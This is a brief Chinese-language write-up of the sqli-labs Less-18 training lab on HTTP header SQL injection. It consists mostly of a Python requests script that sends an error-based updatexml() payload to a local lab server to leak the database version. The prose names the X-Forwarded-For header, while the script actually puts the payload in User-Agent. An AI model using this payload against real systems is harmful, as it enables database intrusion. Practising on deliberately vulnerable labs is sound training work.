[sqli-labs]Less-18(HTTP头注入(X-Forwarded-For) , 报错注入)

HTTP头注入
利用XFF头
这里可以利用的原因是 : 网站将XFF头信息插入数据库 , 而这个信息是访问者可以控制的
同样利用报错注入 , 将数据回显

import requests

url = "http://127.0.0.1/Less-18/"

postDate = {
    'uname':'admin',
    'passwd':'1'
}

headers = {
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding':'gzip, deflate, br',
    'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6',
    'Cache-Control':'max-age=0',
    'Connection':'keep-alive',
    'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1',
    'X-Forwarded-For':'8.8.8.8',
    'Origin':'http://127.0.0.1',
    'Referer':'http://127.0.0.1/Less-18/',
    'Upgrade-Insecure-Requests':'1',
    'User-Agent':'\',updatexml(1,concat(0x5e,version(),0x5e),1),\''
}

content = (requests.post(url, data=postDate, headers=headers).text)
print(content)